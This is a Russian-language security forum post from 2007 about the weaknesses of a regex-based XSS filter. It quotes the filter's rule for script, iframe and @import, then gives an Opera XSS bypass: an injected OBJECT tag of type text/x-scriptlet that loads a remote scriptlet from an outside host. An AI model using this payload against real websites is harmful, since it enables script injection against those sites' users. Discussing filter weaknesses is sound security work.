Показать сообщение отдельно

  #16  
Старый 29.11.2007, 00:31
LeverOne
Познающий
Регистрация: 22.02.2006
Сообщений: 67
Провел на форуме:
4155100

Репутация: 2033
По умолчанию

Цитата:
Сообщение от astrologer  
Eсли регулярные выражения действительно такие, как показывается, "кое-что" там не одно.
И не два, и не три. Этих "что-то" там МНОГО. И дело не только в том, сложно или легко учесть в регулярках все известное. Дело в самом знании нигде не записанного.

Кстати, реальные регулярные выражения скрипта такие, как показывается

Вот, например,

Код:
Input string : <script>
Description  : Внедрение опасных html тегов
Filter rule  : [<\s]((\/?)script(\/?))|((\/?)[i|I]frame(\/?))|(@import)((\/?)object(\/?))[\s>]
Однако '<object>' на самом деле не фильтруется. В результате имеем XSS под Opera:

PHP код:
'lo><OBJECT TYPE=text/x-scriptlet DATA='http://ha.ckers.org/scriptlet.html 
Код, ес-но, можно заточить.

Последний раз редактировалось LeverOne; 29.11.2007 в 20:52..
 
Ответить с цитированием